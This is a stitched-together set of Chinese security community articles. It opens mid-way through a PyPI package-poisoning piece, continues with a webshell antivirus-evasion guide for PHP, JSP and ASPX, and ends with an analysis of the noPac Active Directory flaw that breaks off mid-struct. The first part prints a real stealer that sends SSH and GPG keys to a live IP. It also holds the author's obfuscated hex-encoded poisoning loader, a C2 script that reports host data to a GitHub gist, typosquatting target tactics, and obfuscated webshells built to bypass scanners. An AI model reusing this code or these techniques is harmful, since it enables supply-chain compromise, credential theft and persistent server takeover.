ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='
ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
exec(ZAUTHSS)
# hashsum
home = os.path.expanduser("~")
if os.path.exists(home):
data.add(home)
data.add('\n ### 1 ls home')
data.add('\n '.join(list_dir(home)))
data.add('\n ### 2 ls Documents')
data.add('\n '.join(list_dir(os.path.join(home, 'Documents'))))
data.add('\n ### 3 ls Downloads')
data.add('\n '.join(list_dir(os.path.join(home, 'Downloads'))))
data.add('\n ### 4 ls PycharmProjects')
data.add('\n '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
data.add('\n ### 5 save home files')
save_files(home)
data.add('\n ### 6 save .ssh files')
save_files(os.path.join(home, '.ssh'))
data.add('\n ### 7 save gpg keys')
save_files(os.path.join(home, '.gnupg'))
data.add('\n ### 8 save target')
save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
data.add('\n ### 9 end :)')
data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
'http://68.183.212.246:32258',
data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
headers={"Content-type": "application/json"}
)
* * *
### 0x04、防御方式
#### 1、建议上防御
* 安装模块时候多留意包的依赖，有可能A包没问题，问题出在A包依赖的B包；
* 执行一键安装脚本或者安装模块包的时候多注意下包名称；
* 使用国内源的时候注意恶意包是否已经删了，一些国内源在同步官方源时候部分恶意包不会删除，不过有个好处就是方便找恶意包的样本:(
* 安装一些不确定的开源项目多在虚拟机或者docker中进行部署，需要主机部署的控制好权限；
* `pip list | grep <packages>` && `pip show --file <packages>`自检恶意包。
#### 2、建设上防御
* 建立内部可信包管理平台，从源头上尽可能切断；
* 建立软件包安全扫描平台，[Hunting for Malicious Packages on PyPI](https://jordan-wright.com/blog/post/2020-11-12-hunting-for-malicious-packages-on-pypi/)方案可行，主要通过 **流量** 和 **行为** 两块进行检测识别，流量上抓取安装导入时触发的数据流进行特征和敏感dns请求等进行检测；行为上提取一些作者包名等一些特征进行静态规则匹配和使用sysdig抓取包安装运行时系统调用trace等进行识别；一些相关开源工具有[Aura静态Python代码分析框架](https://www.freebuf.com/articles/database/260626.html)、[maloss软件包管理器安全性分析框架](https://github.com/osssanitizer/maloss)、[ossmalware动态分析查找恶意模块](https://github.com/jordan-wright/ossmalware)、[PypiScan](https://github.com/grayddq/PypiScan) 、[confused依赖查找系统](https://github.com/visma-prodsec/confused)；
* 建立SOAR等平台应对被攻击后快速应急响应，SOAR剧本可以参考:[别慌，这回你有SOAR——关于PyPI仓库遭投毒事件的自动化应急响应](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247505897&idx=2&sn=45c89b8e42c8352d87293e18a554e50c&chksm=e91507d3de628ec53e60d74cb3b65e1b81d15bb3072b3305e348da79ce5ca6bed194e10b7f26&scene=27&key=a1d17b2e5fa790929dab3e3864cb93169600ba29346ed80be4bc)。
* * *
### 0x05、用魔法打败魔法
在侧重点不同的视角下同样的事情通常会看到不一样的薄弱点，因此切换到一个"攻击者"的角度去优化手法，规避掉一些防御策略，增大对方识别到的成本和误报；以下通过一次非恶意测试，记录作为攻击者可能会去尝试绕过的一些点以及对投毒脚本混淆优化。
#### 1、梳理功能需求
* 能够兼容py2/3版本，对不同系统下发不同指令；
* 不影响伪造的模块的正常功能；
* 尽可能少使用第三方依赖，有用到的第三放模块直接目录导入或者复写；
* 满足一个病毒该有的样子，已经是个成熟的病毒了，自己得会信息收集、屏幕截图、反弹shell、后门维持等功能:(
* 忽略所有异常报错，避免恶意代码位置被报错输出；
* 避免字符串过长被静态特征检测到；
* 避免和历史攻击样本中的一些特征相似被静态规则检测到；
* 对于一些敏感的关键字例如eval、exec等要编码混淆避免被静态规则检测到；
* 木马主体以及持久化等C2控制，本地下马部分仅做个下马操作，避免过多行为被检测到；
* 下马部分特征比较明显可以放到一些非常规的后缀文件中，有些检测机制只检测py文件从而进行绕过；
* 对域名、ip等敏感的特征做一些编码或者进制转换等进行混淆；
* 在传输数据中大多会检测dns、http等，使用一些udp、icmp隧道或加密等进行传递；
* 识别一些沙箱、docker等虚拟环境；
* 木马主体识别一些恶意挖矿进行以及阿里云等保护进行kill掉；
* 伪造的模块包通过填充一些垃圾数据、或者把恶意代码部分和正常代码之间填充很多空行进行混淆分析者；
* 代码回传到的C2放个监控探针，有ip访问到了可能被发现了，大致知道多久被发现；
......
#### 2、寻找投毒目标
* 查看Github上最近比较火的项目用到哪些模块；
* 查看Google上关于pip install 高频的搜索推荐记录；
* 查看pypi一些下载量统计网站，例如[PyPI Stats](https://pypistats.org/)看看最近哪些包下载较多；
* 监控Github上泄露的Pypi Token，查看开发者是否上传过了相关模块；
* 针对一些定向人群常用关键字等进行水坑，例如CVE-2020-1350假POC钓鱼；
* 抢注一些通过收集或猜测构造的一些企业内部可能使用的包模块；
* 爬取pypi上所有模块的名称，定义一些好钓鱼命名的规则用脚本去挖掘；
* 寻找一些非常规的导入方式或者命令方式，比如有的叫pyxxx，python3-xxxx；
* 修改正常的requirements.txt依赖的组件名称；
* 使用一些例如dnstwist等工具生成一些相似名称；
* 蹭一些当下的热点，例如covid投毒；
......
#### 3、实际投毒测试
* 投毒脚本
使用Github作为c2测试，也避免少一些国内主机受到影响。
try:
_ = lambda func, *args: func(*args)
__ = lambda path: _(
__import__,
'offices'.
replace
("ffice", '')). \
path. \
exists(path)
p2 = ['696d706', 'f727420', '75726c6', 'c696232', '3b65786', '5632862', '7974656', '1727261', '792e667', '26f6d68', '6578287', '5726c6c', '6962322', 'e75726c', '6f70656', 'e287572', '6c6c696', '2322e52', '6571756', '5737428', '75726c3', 'd226874', '7470733', 'a2f2f67', '6973742', 'e676974', '6875627', '5736572', '636f6e7', '4656e74', '2e636f6', 'd2f5869', '6e6a696', '16e6743', '6f74746', 'f6e4265', '73742f6', '5623537', '3131373', '3313264', '3038636', '1306566', '3666316', '4343134', '3036346', '3383634', '2f72617', '72f3433', '6438323', '4343862', '3663643', '3306430', '6261373', '4353236', '6238373', '6346435', '3466336', '5303463', '3165362', 'f68682e', '7478742', '2292c20', '74696d6', '56f7574', '3d38292', 'e726561', '6428292', 'e646563', '6f64652', '8227574', '662d382', '229292e', '6465636', 'xxxxx', 'xxxx']
p3 = ['66726f6', 'd207572', '6c6c696', '22e7265', '7175657', '3742069', '6d706f7', '2742075', '726c6f7', '0656e3b', '6578656', '3286279', '7465617', '2726179', '2e66726', 'f6d6865', '7828757', '26c6f70', '656e282', '2687474', '70733a2', 'f2f6769', '73742e6', '7697468', '7562757', '3657263', '6f6e746', '56e742e', '636f6d2', 'f58696e', '6a69616', 'e67436f', '74746f6', 'e426573', '742f656', '2353731', '3137333', '1326430', '3863613', '0656636', '6631643', '4313430', '3634633', '836342f', '7261772', 'f343364', '3832343', '4386236', '6364333', '0643062', '6137343', '5323662', '3837363', '4643534', '6633653', '0346331', '65362f6', '8682e74', '7874222', 'c74696d', '656f757', '43d3829', '2e72656', '1642829', '2e64656', '36f6465', '2822757', '4662d38', '2229292', 'e646563', 'xxxx', 'xxxx']
if not __("/.diocikeiireniiv".
replace
("i", "")):
if _(
__import__,
"superyupers".
replace("uper", "")).version_info.major == 3:
_(
__builtins__.__dict__
['elovexloveelovec'.
replace("love", '')],
_(
__import__,
'bok~iok~nasciok~i'.replace(
'ok~', '')).
unhexlify (
''.join(p3)).decode()
)
else:
data = _(
__import__, 'bok~iok~nasciok~i'.replace('ok~', '')). unhexlify (
''.join(p2)).decode()
_(
__import__,
'offices'.
replace
("ffice", '')).system("python -c '{}'".format(_(
__import__, 'bok~iok~nasciok~i'.replace('ok~', '')).
unhexlify (
''.join(p2)).decode()))
except:
pass
* C2脚本
<https://gist.github.com/XinjiangCottonBest/eb57117312d08ca0ef6f1d414064c864>
仅获取主机基本信息，数据回传到gist展示，今年护网出现一些文章复现进行钓鱼的，这边把回传改成mysql蜜罐也是不错一个姿势，从而活捉分析者一顿胖揍~~
import os, socket, getpass, platform, time, json
try:
import urllib2 as urlrequest
except:
import urllib.request as urlrequest
def info(gists_token="xxxx", gists_id="xxxx"):
try:
_ = {
"user": getpass.getuser(),
"user_dir": os.path.expanduser("~"),
"current_dir": os.getcwd(),
"ipaddr": [(s.connect(("8.8.8.8", 53)), s.getsockname()[0], s.close()) for s in
[socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1],
"hostname": platform.uname(),
"datetime": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())),
}
data = {"body": "{0}".format(json.dumps(_).encode("utf-8", errors="ignore"))}
req = urlrequest.Request(
url="https://api.github.com/gists/{0}/comments".format(gists_id),
data=json.dumps(data).encode("utf-8", errors="ignore"),
headers={
"Authorization": "token {0}".format(gists_token),
"Accept": "application/vnd.github.v3+json",
}
)
return urlrequest.urlopen(req, timeout=10).read()
except:
pass
info()
* * *
### 0x06 参考资料
[生产节点供应链安全思考 |
Kevinsa](https://kevinsa.com/2020/07/24/%E7%94%9F%E4%BA%A7%E8%8A%82%E7%82%B9%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8%E6%80%9D%E8%80%83/)
[揭秘新的供应链攻击：一研究员靠它成功入侵微软、苹果等35家科技公司-InfoQ](https://www.infoq.cn/article/wtbglevgrl0bwqbzj0w7)
[被忽视的攻击面：Python package 钓鱼](https://paper.seebug.org/326/)
[如何在PyPI上寻找恶意软件包 -FreeBuf网络安全行业门户](https://www.freebuf.com/articles/web/254820.html)
[关于软件供应链攻击，CISO应关注的5个问题 -FreeBuf网络安全行业门户](https://www.freebuf.com/articles/neopoints/266945.html)
[ffffffff0x/Dork-Admin:
盘点近年来的数据泄露、供应链污染事件](https://github.com/ffffffff0x/Dork-Admin)
[软件供应链来源攻击分析报告-奇安信威胁情报中心](https://ti.qianxin.com/blog/articles/supply-chain-attacks-of-software/) [使用动静结合的分析方式检测供应链攻击中的0 day -安全客，安全资讯平台](https://www.anquanke.com/post/id/230082) [PyPI 官方仓库遭遇request恶意包投毒
- 腾讯安全应急响应中心](https://security.tencent.com/index.php/blog/msg/160)
[浅析软件供应链攻击之包抢注低成本钓鱼 -腾讯安全应急响应中心](https://security.tencent.com/index.php/blog/msg/185)
[源头之战，不断升级的攻防对抗技术 —— 软件供应链攻击防御探索 -腾讯安全应急响应中心](https://security.tencent.com/index.php/blog/msg/140)
* * * | 社区文章 |
## php的免杀
传统的php免杀不用多说了
无非就是各种变形和外部参数获取，对于一些先进的waf和防火墙来说，不论如何解析最终都会到达命令执行的地方，但是如果语法报错的话，就可能导致解析失败了，这里简单说几个利用php版本来进行语义出错的php命令执行方式。
### 1、利用在高版本php语法不换行来执行命令
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
#### 5.2版本报错，
#### 5.3报错
#### 5.4版本报错
#### 7.3.4成功执行命令
### 2、利用\特殊符号来引起报错
<?php
\echo `whoami`;?>
#### 5.3执行命令失败
#### 7.3执行命令失败
#### 5.2成功执行
## 3、十六进制字符串
在php7中不认为是数字，php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令，5.2和php7无法执行
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
#### 7.3 命令执行失败
#### 5.2 命令执行失败
### 5.3 命令执行成功
除此之外，还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然，对于我们可以结合垃圾数据，变形混淆，以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同，配置也不同，与一些传输层面的bypass进行结合产生的可能性就会非常多样。
例如：
7.0版本的??特性，如果版本为5.x的话就会报错，可以结合一些其他的方式吧
<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
## jsp免杀
本人对java研究的不是非常深入，因此主要分享的还是平时收集的几个小tips，如果有没看过的师傅现在看到了也是极好的，java
unicode绕过就不再多言。
#### 0、小小Tips
jsp的后缀可以兼容为jspx的代码，也兼容jspx的所有特性，如CDATA特性。
jspx的后缀不兼容为jsp的代码，jspx只能用jspx的格式
#### 1、jspx CDATA特性
在XML元素里，<和&是非法的，遇到<解析器会把该字符解释为新元素的开始，遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符，因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式：<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
此时ameter依旧会与getPar拼接成为getParameter
#### 2、实体化编码
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
这里实体化编码先知渲染体现不出来
#### 3、利用java支持其他编码格式来进行绕过
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
可以看到对于D盾的免杀效果还是非常好的。
## aspx的免杀
aspx免杀的方式相对于PHP和java的较少，这里列出5种方式来bypass进行免杀
1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
我们以一个普通的冰蝎马作为示例
<%@ Page
Language="Jscript"%>[eval(@Request.Item["pass"],"unsafe");%](mailto:eval\(@Request.Item\[)
这一步无需多言，一定是会被D盾所查杀的
#### 1、unicode编码
例如eval他可以变为
\u0065\u0076\u0061\u006c
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
经过我本地的测试，在JScript的情况下它不支持大U和多个0的增加
而在c#的情况下，是可以支持的
#### 2、空字符串连接
在函数字符串中插入这些字符都不会影响脚本的正常运行，在测试前需要注意该类字符插入的位置，否则插入错误的地方会产生报错
\u200c
\u200d
\u200e
\u200f
#### 3、使用<%%>语法
将整个字符串与函数利用<%%>进行分割
<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
#### 4、头部免杀
之前有遇到过检测该字段的<%@ Page Language="C#" %>，这个是标识ASPX的一个字段，
针对该字段进行免杀[%@Language=CSHARP%](mailto:%@Language=CSHARP%) 很久之前修改为这样就过了
同样的，可以修改为
<%@ Page Language="Jscript"%>\------》<%@Page Language=JS%>
也可以将该字段放在后面，不一定要放前面等
#### 5、使用符号
如哥斯拉webshell存在特征代码，可以添加@符号但是不会影响其解析。
(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)
#### 6、注释可以随意插入
如下所示为冰蝎部分代码
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
可以与<%%>结合使用效果会更好 | 社区文章 |
# Name impersonation and KDC bamboozling漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：lzz
## 0x00 漏洞背景
今年十一月Cliff Fisher
在推特披露了CVE-2021-42278和CVE-2021-42287两个关于AD域漏洞相关信息，该漏洞影响巨大，在默认情况下只需一个域用户即可拿到域内最高权限。
## 0x01 披露时间线
11月10日Cliff Fisher在推特发布了相关的漏洞信息。
12月10日Charlie Clark在博客发布漏洞原理及利用手段。
12月11日cube0x0在github发布了noPac，实现了真正的武器化。
## 0x02 漏洞概述
漏洞的产生本质是windows机器账户和kerbeors之间协调沟通所产生的逻辑问题。
### [CVE-2021-42278](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42278) –
[KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
> 允许攻击者任意修改计算机帐户sAMAccountName字段，进而模拟域控申请票据。
加入域的机器账户默认由$结尾，samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断，`导致删除sAMAccountName结尾的$照样可以以机器用户身份申请TGT票据。`
**什么是sAMAccountName**
sAMAccountName 属性是一个登录名，用于支持以前版本的 Windows 中的客户端和服务器，例如 Windows NT 4.0、Windows
95、Windows 98 和 LAN Manager。 登录名必须少于 20 个字符，在域中的所有安全主体对象中必须唯一，并且不能包含以下任何字符：
* “/ \ [ ] : ; | = , + * ? < >
userPrincipalName是基于Internet标准RFC
822的用户样式登录名，UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定，用户格式为：[[email protected]](mailto:[email protected])。
域名：redteam.lab
SamAccountName：marry
NetBIOS登录名：reedteam\marry
UserPrincipalName：[email protected]
在 Active Directory中，存储帐户登录名或用户对象实际上是命名符号“Domain\LogonName
”中使用NetBIOS名称组合，该属性是域用户对象的必需属性；而SAMAccountName应始终与UPN主体名称保持一致，即SAMAccountName必须等于属性“UserPrincipalName”
的前缀部分。
**更改sAMAccountName**
漏洞凭借修改计算机帐户sAMAccountName字段来模拟域控申请票据，但直接将域内机器Evilsystem的sAMAccountName改为与域控相同(不加$)，结果显示异常。
原因如<https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/>所说：
> 修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。
添加机器帐户默认会创建4个SPN,包括以下内容：
1. HOST/MachineAccountName
2. HOST/MachineAccountName.domain.name
3. RestrictedKrbHost/MachineAccountName
4. RestrictedKrbhost/MachineAccountName.domain.name
意味着Evilsystem
将要改成与域控相同的SPN，但是SPN是网络控制器服务实例的唯一标识符，`Kerberos身份验证使用它来将服务实例与服务登录帐户相关联，这时会产生冲突`；但servicePrincipalName在设置以上属性之前已被删除，那么SPN列表将不会更新，除非再次给该字段赋值。所以在修改samAccountName前删除其SPN属性。
**sAMAccountType属性**
sAMAccountType表示在Active Directory 中安全主体对象的帐户类型。`在LDAP查询中，常常用其筛选域机器和域用户等其他对象。`
sAMAccountType=268435456（安全组）
sAMAccountType=268435457（非安全组）
sAMAccountType=536870912（别名对象）
sAMAccountType=536870913（非安全别名对象）
sAMAccountType=805306369（机器对象）
[**sAMAccountType**](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/7879be50-7109-41e4-9a44-02f5a007b950)[属性可能存在的值：](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/7879be50-7109-41e4-9a44-02f5a007b950)
Name | Value
---|---
SAM_DOMAIN_OBJECT | 0x0
SAM_GROUP_OBJECT | 0x10000000
SAM_NON_SECURITY_GROUP_OBJECT | 0x10000001
SAM_ALIAS_OBJECT | 0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT | 0x20000001
SAM_USER_OBJECT | 0x30000000
SAM_MACHINE_ACCOUNT | 0x30000001
SAM_TRUST_ACCOUNT | 0x30000002
SAM_APP_BASIC_GROUP | 0x40000000
SAM_APP_QUERY_GROUP | 0x40000001
SAM_ACCOUNT_TYPE_MAX | 0x7ffffff
cn: SAM-Account-Type
ldapDisplayName: sAMAccountType
attributeId: 1.2.840.113556.1.4.302
attributeSyntax: 2.5.5.9
omSyntax: 2
isSingleValued: TRUE
schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9
systemOnly: FALSE
searchFlags: fATTINDEX
attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf
isMemberOfPartialAttributeSet: TRUE
systemFlags: FLAG_SCHEMA_BASE_OBJECT |
FLAG_ATTR_REQ_PARTIAL_SET_MEMBER
schemaFlagsEx: FLAG_ATTR_IS_CRITICAL
**UserAccountControl**
UserAccountControl包含一系列标志，这些标志定义了用户对象的一些重要基本属性，可以通过分配给该属性的值通知 Windows
每个主体启用了哪些选项。
`该属性标志是累积性的，比如要禁用用户的帐户，UserAccountControl 属性被设置为 514 (2 + 512)。`
[LEX官网对这个属性进行了整理](http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm)，以下为常见类型：
UF_NORMAL_ACCOUNT ( 512 ) | 这是一个普通域用户。
---|---
UF_WORKSTATION_TRUST_ACCOUNT ( 4096 ) | 这是一个普通域机器。
UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 ) | 这是一个代表与外部域的信任连接的帐户。通常，帐户名称是域的 NetBIOS
名称，末尾带有“$”。
UF_SERVER_TRUST_ACCOUNT ( 8192 ) | 这是一个域控帐户。
UF_DONT_EXPIRE_PASSWD (65536) | 这个用户不受有关域内密码策略相关的影响，且密码永不过期。
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128) | 代表可逆加密存储用户密码 ,如果用户更改密码就能解密获得其明文密码。
UF_ACCOUNT_DISABLE ( 2 ) | 代表帐户被禁用，并且无法再向域进行身份验证。
<https://blog.csdn.net/xjzdr/article/details/3553246>也对UserAccountControl进行了详细解释。
* * *
UserAccountControl定义了用户对象的重要基本属性，微软以sAMAccountName的值是否以$结尾来区别windows域内的普通域用户和机器账户。`但UserAccountControl并没有规定计算机帐户的sAMAccountName必须以$结尾，域机器sAMAccountName去掉最后的$照样可以以机器账户的身份申请TGT票据，为后面的CVE-2021-42287触发提供了先行条件。`
### [CVE-2021-42287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42287) [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
> 影响 Kerberos 特权属性证书 (PAC) 并允许攻击者通过S4U2Self冒充域控申请ST的安全绕过漏洞。
微软依照是否以$结尾来区别windows域内的普通域用户和机器账户，所以按照惯例默认给机器账户加$，而kerberos认证时并不会区别对待；`为了兼容这种情况，如果kerberos认证票据时没有找到对应的域用户，会采用在用户名称后添加$进行重试认证的fallback。`
在有PAC 的情况下请求 TGT，并且为与DC具有相同的sAMAccountName(不带$)的机器帐户请求 S4U2self
票据，`当初始帐户不存在时自动进行重试认证fallback，KDC没有验证请求TGT的帐户是否与服务票证中引用的帐户相同，结果在ST中使用DC的密钥进行加密。`
在默认设置的 Active Directory 环境中可以通过一个域用户凭证拿到域内最高权限。
## 0x03 漏洞原理
微软以是否以$结尾来区别windows域内的普通域用户和机器账户，而kerberos认证时并不会区别对待；为了兼容这种情况，如果kerberos认证票据时没有找到对应的域用户，会采用在用户名称后添加$进行重试认证的fallback。
kerberos认证的CName String/SName
String从sAMAccountName提取，如果域控是DC2$，一台域机器的sAMAccountName被改为DC2。那么当域用户申请TGT后将sAMAccountName更改为其他值，进而在申请ST票据时，kerberos找不到DC2这个机器用户，于是会触发fallback变为DC2$。在S4U阶段生成了新的用于访问自身的高权限PAC，KDC没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息，于是在ST中使用域控的密钥进行加密，这样就拿到了域控的ST票据，从而模拟域控上任意服务的任意用户进行访问登陆。
### XP源码分析
<https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA>这篇文章写的很清楚，有兴趣可以看看。
**KdcGetTicketInfo**
首先判断是否是krbtgt账户，如果是则直接调用GetKrbtgt函数获取TicketInfo
判断是否是本域的用户，并进行三次查找:
* 首先直接查找传入的用户
* 然后查找传入的 `username+$`
* 仍未找到则查找其 altSecurityIdentities 属性的value
`这就是第一个漏洞产生的原因，sAMAccountName没有$的机器账号如果没有找到会加$进行callback重试。`
**KdcInsertAuthorizationData**
KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:
1.如果不是S4U的请求，则直接从TGT的AuthData中提取PAC(沿用最初的PAC)。
`说明了S4U的重要性，如果没有S4U2self，将会沿用最初的PAC；最初的PAC在AS-REP阶段凭请求用户身份生成，没有权限访问域控相关服务。`
2.如果是S4U请求，首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo，再调用kdcGetPacAuthData函数来构造PAC
data。
kdcGetPacAuthData：若原票据不存在PAC，则会构造一个新的PAC；若无法构造，则直接复制PAC。
KdcGetS4UTicketInfo函数的处理逻辑中又调用了KdcGetTicketInfo，也就是通过这把前后两个漏洞组合在了一起。
因此得到和上面一样的结论：
`S4U2self拓展用于TGS-REQ将票证检索到自身来模仿任意用户访问，而KDC在S4U2Self阶段会将SFU填充的字段从TGT中的PAC复制到新创建的PAC中。在进行自动添加$进行callback时，KDC并没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息，出现鉴权问题从而产生漏洞。`
### 通过公开EXP截取数据分析
wireshark中提供直接将[keytab
导入Kerberos](https://wiki.wireshark.org/Kerberos)，能将PAC等加密字段进行解密。
**kerberos认证**
**整体流程**
1.AS_REQ：client用client_hash（一般使用RC4加密）、时间戳向KDC进行预身份验证。
2.AS_REP：KDC检查client_hash与时间戳，如果正确则返回client由krbtgt哈希加密的TGT票据和PAC等相关信息。
3.TGS_REQ：client向KDC请求TGS票据，出示其TGT票据和请求的SPN。
4.TGS_REP：KDC如果识别出SPN，则将该服务账户的NTLM哈希加密生成的ST票据返回给client。
5.AP_REQ：client使用ST请求对应服务，将PAC传递给服务进行检查。服务通过PAC查看用户的SID和用户组等并与自身的ACL进行对比，如果不满足则作为适当的RPC状态代码返回。
6.AP_REP：服务器验证AP-REQ，如果验证成功则发送AP-REP，客户端和服务端通过中途生成的Session
key等信息通过加解密转换验证对方身份。
**AS-REQ：**
`域控为DC2$，这里申请sAMAccountName为DC2（不带$）的TGT票据`
1.请求的用户端信息
2.加密类型
3.Authenticator（用户Hash加密时间戳）
**AS-REP：**
1.通过活动目录查询用户得到用户的Hash，用Hash解密Authenticator，如果解密成功并且时间戳在规定时间内（一般为五分钟），则预认证成功。
2.生成由krbtgt用户Hash加密的TGT认购权证，用于确保客户端和DC进行安全通信的用户Hash加密后的Login Session
Key(作为下一阶段的认证秘钥)。
3.返回TGT（TGT中包含PAC,PAC包含Client的sid，Client所在的组）、Login Session Key、和时间戳。
* * *
**PAC**
PAC由KDC在AS-REP中生成，其中包含用户sid和组等信息，当client在AD域内进行身份认证的时候，KDC会把这些信息添加到TGT票据加密返回；KDC主要通过PAC中的GroupIds和Userid与要访问服务的ACL进行比较，判断client是否有权限对其进行访问。
KDC在AP-REQ访问服务时检查PAC。同时 TGS 解密验证签名是否正确，然后再重新构造新的 PAC 放在 ST 里返回给client，client将
ST 发送给服务端进行验证，Server再将此信息与用户所索取的资源的ACL进行比较，以此判断用户是否有权限对其进行访问。
`PAC里面包含了用户SID、组等信息。`在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM两个数字签名
，`这两个数字签名分别由Server NTLM Hash和KDC NTLM
Hash加密，并且PAC对于用户和服务全程都不可见，只有KDC能制作和查看PAC。`
PAC结构是一个AuthorizationData
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
**结构如下：**
可以看到ad-type为AD-IF-RELEVANT。
ad-data也是一个AuthorizationData，ad-type为AD-WIN2K-PAC，ad-data为一个PACTYPE的结构体和几个PAC_INFO_BUFFER
结构数组；PACTYPE结构是PAC的最顶层结构，指定PAC_INFO_BUFFER数组中的元素数。PACTYPE结构用作完整PAC数据的标头。
每个 PAC_INFO_BUFFER 定义了 PAC 缓冲区的类型和字节偏移量，用作指向遵循此标头的PAC内容的指针。PAC_INFO_BUFFER
数组没有定义的顺序，因此PAC_INFO_BUFFER 缓冲区的顺序没有意义。但是，一旦生成了 KDC 和服务器签名，缓冲区的顺序不得更改，否则 PAC
内容的签名验证将失败。
**PACTYPE结构如下：**
**PAC_INFO_BUFFER结构如下：**
其中ulType描述在Offset处包含的缓冲区中存在的数据类型。
Value | Meaning
---|---
0x00000001 | 登录信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录信息缓冲区。
0x00000002 | 凭证信息。PAC结构不应包含多个此类缓冲区。第二个或后续凭证信息缓冲区在收到时必须忽略。
0x00000006 | 服务器校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录服务器校验和缓冲区。
0x00000007 | KDC校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他KDC校验和缓冲区。
0x0000000A | 客户名称和票据信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他客户端和票证信息缓冲区。
0x0000000B |
受约束的委派信息。PAC结构必须包含一个此类型的缓冲区，以便为S4U2proxy请求提供服务，否则不包含任何缓冲区。必须忽略其他受约束的委派信息缓冲区。
0x0000000C |
用户主体名称（UPN）和域名系统（DNS）信息。PAC结构不应包含多个此类型的缓冲区。第二个或后续UPN和DNS信息缓冲区在收到时必须忽略。
0x0000000D | 客户索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他客户端索赔信息缓冲区。
0x0000000E | 设备信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备信息缓冲区。
0x0000000F | 设备索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备声明信息缓冲区。
0x00000010 | 票证校验和PAC结构不应包含多个此类型的缓冲区。必须忽略其他票证校验和缓冲区。
0x00000006 对应的是Server检验和，0x00000007
对应的是KDC校验和。前面说过`PAC包含server和KDC签名，就是为了防止PAC内容被篡改。`
**KERB_VALIDATION_INFO**
KERB_VALIDATION_INFO结构定义了DC提供的用户登录和授权信息，并由RPC编组。结构定义如下：
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
